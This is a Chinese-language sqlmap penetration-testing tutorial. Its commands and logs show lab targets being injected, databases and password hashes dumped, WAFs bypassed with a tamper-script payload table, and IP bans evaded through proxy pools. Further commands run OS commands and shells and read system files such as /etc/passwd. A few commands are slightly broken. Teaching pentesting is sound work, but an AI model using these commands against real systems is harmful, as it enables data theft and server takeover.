[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]

模仿智能手機

參數:--mobile

有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

安全的刪除output目錄的文件

參數:--purge-output

有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。

例如:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

啟發式判斷注入

參數:--smart

有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入,可以使用此參數。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]

初級用戶向導參數

參數:--wizard 面向初級用戶的參數,可以一步一步教你如何輸入針對目標注入。

$ python sqlmap.py --wizard
?sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
?
http://sqlmap.org
?
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
?
[*] starting at 11:25:26
?
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1
?
sqlmap is running, please wait..
?
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: idType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 2986=2986
?Type: error-basedTitle: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clausePayload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))
?Type: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 
?Type: stacked queriesTitle: Microsoft SQL Server/Sybase stacked queriesPayload: id=1; WAITFOR DELAY '0:0:5'--
?Type: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase time-based blindPayload: id=1 WAITFOR DELAY '0:0:5'--
?Type: inline queryTitle: Microsoft SQL Server/Sybase inline queriesPayload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft CorporationExpress Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: ?  'sa'
current database: ?  'testdb'
current user is DBA: ?  True
?
[*] shutting down at 11:25:52

15.SQLMAP滲透測試實戰技巧一

檢測注入

檢測URL GET參數的是否存在注入

-u 檢測的url

""雙引號 表示這是一段字符串

--dbms 指定攻擊的數據引擎(指定數據庫)

-v 輸出信息登記為1

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1

輸入之后sqlmap會自動進行注入,但是會有一些進行提示 需要你在終端進行確認 如果使用--batch 會自動進行默認操作,不用進行交互信息確定.(自動進行,不需要進行確認)

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --batch

程序會自動確認進行SQL注入檢測,看到存在注入的參數和攻擊payload 也會顯示注入的類型

time-based blind 時間盲注入

UNION query 聯合注入

獲取敏感信息

確定存在注入之后 接著通過獲取敏感信息命令 獲取

--current-user 用戶連接的用戶

--currnet-db 當前庫

--is-dba 是否root權限

--passwords 獲取數據庫的密碼 使用這個命令 sqlmap找到密文時,會提示你是否進行hash破解 如果需要選擇合適的字典。

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 

獲取所有庫

sqlmap -u "http://192.168.0.165/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -v 1 --dbms mysql --batch --dbs

獲取表

在獲取當前庫、可以根據庫列出表。

--dbms 指定數據庫

-D 指定庫

--tables 列出所有表

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu --tables

獲取表的字段

獲取某個表的所有字段

-T 指定某個表

--columns 獲取字段

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns

獲取某個庫的所有表的所有字段

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -tables --columns
?

獲取數據

--dump 是導出數據所有內容

--dump -C "username,password" 獲取字段的內容

獲取指定庫所有表 所有字段內容

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -tables --columns --dump
?

獲取指定表的 所有字段內容

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns --dump

獲取指定 表 指定字段內容

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump

獲取指定條數

獲取總條數

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --count

獲取指定id條數

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --dump --start 1 --stop 3

刪除緩存文件

參數:--flush-session

如果不想用之前緩存這個目標的session文件,可以使用這個參數。 會清空之前的session,重新測試該目標。

安全的刪除output目錄的文件

參數:--purge-output

有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。

例如:

16.SQLMAP滲透測試實戰技巧二

實戰中用的最多的技巧

--technique 使用指定的注入方式

在一些實戰項目中,難免會遇上 網絡反應緩慢,idc還有檢測sqlmap的能力,所以作為一個專業的滲透測試人員,必須做到快準狠。

有些SQL注入點 只允許時間注入,這時指定SQLMAP的注入類型為T

以下是--technique 參數的值的解釋

B:Boolean-basedblindSQLinjection(布爾型注入)
E:Error-basedSQLinjection(報錯型注入)
U:UNIONquerySQLinjection(可聯合查詢注入)
S:StackedqueriesSQLinjection(可多語句查詢注入)
T:Time-basedblindSQLinjection(基于時間延遲注入)
Q:InlineSQLInjection(內聯注入)

使用基于時間的延時注入

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu --technique=T 

支持多種注入檢測 默認是全部

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu --technique=BEUT

注入時使用隨機的 HTTP User-Agent

隨機UA頭.

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D --random-agent

--time-sec 使用時間注入時,設置延時的返回時間,默認是五秒

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu --technique=T --time-sec=6

設置超時時間

--time-out 這個參數是設置超時時間 有得網頁響應比較慢,可以使用這個參數來增大訪問超時的時間。默認是30. (節省時間)

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu --timeout=10

讀取文本進行SQL注入檢測

sqlmap -r post.txt  
sqlmap -r post.txt  --batch
--batch		-默認配置去檢查
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.0.103
Connection: close
Referer: http://192.168.0.103/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=d2tc9ru7f1qdi44dvt8ecd2c95
Upgrade-Insecure-Requests: 1id=1&submit=%E6%9F%A5%E8%AF%A2

指定參數進行注入

-p 指定需要測試的參數

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql -v 1 

使用*進行注入

如果url是偽靜態的時 ,可以使用*號表示這是檢測的地方

sqlmap -u "http://192.168.0.103/06/vul/sqli/id/1*./html

POST注入

sqlmap -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id -v 1

cookie注入

--cookie 輸入cookie的請求參數

--level 2或者以上才進行cookie注入

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --dump -T admin -C "user,password" --level 2

17.SQLMAP滲透測試實戰技巧三

修改默認最大線程

lib/core/settings.py

默認最大線程是10 可以設置線程最大為100

MAX_NUMBER_OF_THREADS = 100

修改默認的瀏覽器

agent = Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0

使用配置文件檢測

python sqlmap.py -C sqlmap.conf -u "http://www.baidu.com/moonsec.php?id=1"

sqlmap使用

18.SQLMAP滲透測試實戰技巧四 繞過防火墻攔截

目前很多網站都使用waf對網站進行保護,在滲透測試過程中,很多的操作都會被攔截,在測試SQL注入時,waf會對請求過來的流量進行攔截,導致SQLMAP請求的內容無法到達目標,SQLMAP無法判斷目標是否存在注入,waf對惡意的攻擊請求進行攔截,攔截會拉入黑名單,導致攻擊者訪問不到目標。無法進行安全檢測。

sqlmap使用--tamper命令 選擇合適的腳本對waf進行繞過

sqlmap.py -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name  --dbms mysql --tamper "space2comment"  -v 3 --dbs

寬字節注入

unmagicquotes.py

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 4

base64注入

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3

GET /Less-21/index.php HTTP/1.1
Host: 192.168.0.136:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.136:7766/Less-21/?id=1
Connection: close
Cookie: uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5"  --dbms mysql --tamper "base64encode.py" -v 1 --level 3

--param-del=";" 用;分割參數

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3 

tampter模塊列表

sqlmap --list-tampers

支持的數據庫編號腳本名稱作用實現方式
all1apostrophemask.py用utf8代替引號("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
2base64encode.py用base64編碼替換("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw=='
3multiplespaces.py圍繞SQL關鍵字添加多個空格('1 UNION SELECT foobar') '1 UNION SELECT foobar'
4space2plus.py用+替換空格('SELECT id FROM users') 'SELECT+id+FROM+users'
5nonrecursivereplacement.py雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--'
6space2randomblank.py代替空格字符(“”)從一個隨機的空 白字符可選字符的有效集('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
7unionalltounion.py替換UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT') '-1 UNION SELECT'
8securesphere.py追加特制的字符串('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
mssql1space2hash.py繞過過濾‘=’ 替換空格字符(”),(’ – ‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’ n’)'1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
2equaltolike.pylike 代替等號* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
3space2mssqlblank.py(mssql)空格替換為其它空符號Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
4space2mssqlhash.py替換空格('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
5between.py用between替換大于號(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
6percentage.pyasp允許每個字符前面添加一個%號* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7sp_password.py追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password'
8charencode.pyurl編碼* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9randomcase.py隨機大小寫* Input: INSERT * Output: InsERt
10charunicodeencode.py字符串 unicode 編碼* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
mysql >= 5.1.131equaltolike.pylike 代替等號* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
2greatest.py繞過過濾’>’ ,用GREATEST替換大于號。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
3apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
4ifnull2ifisnull.py繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
5space2mssqlhash.py替換空格('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
6modsecurityversioned.py過濾空格,包含完整的查詢版本注釋('1 AND 2>1--') '1 /!30874AND 2>1/--'
7space2mysqlblank.py空格替換其它空白符號(mysql)Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
8between.py用between替換大于號(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
9modsecurityzeroversioned.py包含了完整的查詢與零版本注釋('1 AND 2>1--') '1 /!00000AND 2>1/--'
10space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
11bluecoat.py代替空格字符后與一個有效的隨機空白字符的SQL語句。 然后替換=為like('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
12percentage.pyasp允許每個字符前面添加一個%號* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13charencode.pyurl編碼* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14randomcase.py隨機大小寫* Input: INSERT * Output: InsERt
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
17charunicodeencode.py字符串 unicode 編碼* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18versionedmorekeywords.py注釋繞過* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.119halfversionedmorekeywords.py關鍵字前加注釋* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa
20halfversionedmorekeywords.py當數據庫為mysql時繞過防火墻,每個關鍵字之前添加 mysql版本評論1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"
MySQL >= 5.1.1321space2morehash.py空格替換為 #號 以及更多隨機字符串 換行符* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle1greatest.py繞過過濾’>’ ,用GREATEST替換大于號。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
3between.py用between替換大于號(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
4charencode.pyurl編碼* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5randomcase.py隨機大小寫* Input: INSERT * Output: InsERt
6charunicodeencode.py字符串 unicode 編碼* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
PostgreSQL1greatest.py繞過過濾’>’ ,用GREATEST替換大于號。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
3between.py用between替換大于號(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
4percentage.pyasp允許每個字符前面添加一個%號* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5charencode.pyurl編碼* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6randomcase.py隨機大小寫* Input: INSERT * Output: InsERt
7charunicodeencode.py字符串 unicode 編碼* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Access1appendnullbyte.py在有效負荷結束位置加載零字節字符編碼('1 AND 1=1') '1 AND 1=1%00'
其他chardoubleencode.py雙url編碼(不處理以編碼的)* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py寬字符繞過 GPC addslashes* Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
randomcomments.py用/**/分割sql關鍵字‘INSERT’ becomes ‘IN//S//ERT’

設置線程大小

在遇到waf的時候,如果并發過大,會認為是cc攻擊,ip會被封堵

--threads=1 設置線程為1

設置http請求延時

--delay=DELAY 設置每個 HTTP 請求的延遲秒數

使用代理注入

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql -v 1  --proxy=http://123.73.63.6:46603
?

使用代理池注入

購買代理池之后 獲取代理 保存到文件內

123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730

--proxy-file 從文件中加載代理列表

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt

19.SQLMAP滲透測試實戰技巧五 命令執行 文件讀寫 dns盲注

sqlmap命令執行

--os-cmd=OSCMD ? ?  執行操作系統命令
--os-shell ? ? ? ?  調出交互式操作系統 shell

注入點的當前用戶是dba時,使用以上兩個命令,一個是執行命令,一個是調用交互操作系統shell

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell

使用--os-shell命令會彈出一個交互shell的界面 可以在其輸入命令,如果可以回顯就會返回命令執行的信息。

讀取和寫入文件

--file-read 讀取文件 讀取文件首先要知道路徑,才能讀取

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Windows/System32/inetsrv/MetaBase.xml" --threads=10

C:/Windows/System32/inetsrv/MetaBase.xml 可以換成其他文件路徑 如果是linux 可以讀取/etc/passwd

--file-write 寫入文件

--file-write 目標路徑 --file-dest 文件路徑

